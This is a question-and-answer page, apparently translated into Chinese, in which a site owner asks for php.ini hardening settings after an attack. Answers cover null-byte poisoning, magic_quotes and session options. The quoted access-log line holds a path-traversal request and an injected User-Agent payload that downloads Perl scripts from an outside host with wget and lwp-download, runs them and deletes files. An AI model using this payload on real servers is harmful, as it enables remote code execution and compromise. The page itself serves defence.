攻击后的php.ini安全设置

信息安全 php 硬化
2021-08-18 12:25:36

我的网站遭到了攻击,我需要一个 php.ini 的最佳实践 我已经阅读了一些内容,但我仍然不确定我是否涵盖了大多数选项。

这是我的设置:

file_uploads = Off
upload_tmp_dir = /var/php_tmp
upload_max_filezize = 0M
allow_url_fopen = Off
allow_url_include = Off
safe_mode = On
display_errors = Off
magic_quotes_gpc = On
magic_quotes_runtime = On
max_file_uploads=0

这是我从 webhost 公司得到的错误日志:

121.254.216.170 - - [12/Sep/2011:05:21:07 +0100] "GET /?p=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 5806 "-" "http://some.thesome.com/etc/byz.jpg? -O /tmp/cmd548;cd /tmp;lwp-download http://some.thesome.com/etc/cup.txt;perl cup.txt;rm -rf *.txt*;wget http://some.thesome.com/etc/update.txt;perl update.txt;rm -rf *.txt*'); echo \"#j13mb0t\"; ?>"
2个回答

首先,这种攻击不会在最新的 5.3 分支上起作用,因为空字节中毒攻击已经针对 file-io 函数进行了修复。话虽如此,在某些边缘情况下,除了 magic_qutoes_gpc 之外,您的任何设置都不会防御这些攻击,因为空字节将被转义。虽然老实说我会禁用magic_qutoes_gpc,但你不应该依赖它来确保安全,而且它通常会导致用户输入错误。magic_quotes_gpc 在 php6 中被删除。

为了确保 php 配置正确,您应该运行PHPSecInfo您还应该从整个 Web 根目录中删除写入位,并file_privs从您的 mysql 帐户中删除。这是锁定 php的更多信息。

这可能会帮助某人。

expose_php = off
disable_functions = phpinfo
session.auto_start = 0
session.cookie_httponly = 1
session.cookie_secure = 1
session.name = sessId
session.hash_function = sha256
session.hash_bits_per_character = 5